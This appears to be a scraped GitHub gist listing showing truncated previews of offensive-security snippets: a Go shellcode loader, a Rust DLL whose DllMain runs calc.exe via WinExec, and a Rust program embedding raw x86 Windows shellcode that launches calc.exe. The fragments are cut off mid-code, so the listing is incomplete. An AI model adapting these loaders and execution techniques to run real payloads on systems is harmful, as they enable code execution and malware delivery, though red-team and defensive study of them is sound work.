This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Simple Shellcode loader implemented in Golang. | |
// | |
// Compilation: | |
// $ go build -o foo.exe shellcodeLoader.go | |
// | |
// Mariusz B. / mgeeky (@mariuszbit), '20 | |
// <mb@binary-offensive.com> | |
// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ( | |
"syscall" | |
"unsafe" | |
) | |
// MessageBox of Win32 API. | |
func MessageBox(hwnd uintptr, caption, title string, flags uint) int { | |
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call( | |
uintptr(hwnd), | |
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#[link(name="kernel32")] | |
extern "system" { | |
fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32; | |
} | |
#[no_mangle] // needs to precede every function you wish to call from c | |
extern "system" fn DllMain(_: *const u8, _: u32, _: *const u8) -> u32 { | |
let ret = unsafe { | |
WinExec(['c' as u8 , 'a' as u8 ,'l' as u8, 'c' as u8, '.' as u8, 'e' as u8, 'x' as u8 , 'e' as u8, '\0' as u8].as_mut_ptr(), 1); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use region::{Protection}; | |
fn main(){ | |
// from windows, ran the following: | |
// rustup target add i686-pc-windows-msvc | |
// cargo run --target=i686-pc-windows-msvc | |
// x86 win shellcode | |
// shellcode from https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html | |
static RET5: [u8;200] = *b"\x50\x53\x51\x52\x56\x57\x55\x89\xe5\x83\xec\x18\x31\xf6\x56\x6a\x63\x66\x68\x78\x65\x68\x57\x69\x6e\x45\x89\x65\xfc\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x89\x5d\xf8\x31\xc0\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x8b\x78\x20\x01\xdf\x89\x7d\xf0\x8b\x50\x1c\x01\xda\x89\x55\xec\x8b\x58\x14\x31\xc0\x8b\x55\xf8\x8b\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x01\xd7\x66\x83\xc1\x08\xf3\xa6\x74\x0a\x40\x39\xd8\x72\xe5\x83\xc4\x26\xeb\x41\x8b\x4d\xf4\x89\xd3\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xd2\x52\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x68\x6d\x33\x32\x5c\x68\x79\x73\x74\x65\x68\x77\x73\x5c\x53\x68\x69\x6e\x64\x6f\x68 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#[link(name="kernel32")] | |
extern "system" { | |
fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32; | |
} | |
/// &str to a null termed u8bit vector | |
fn str_to_u8(string: &str) -> Vec<u8>{ | |
let mut ret : Vec<u8> = vec![]; | |
for x in string.as_bytes() { | |
println!("{:?}",x); |
NewerOlder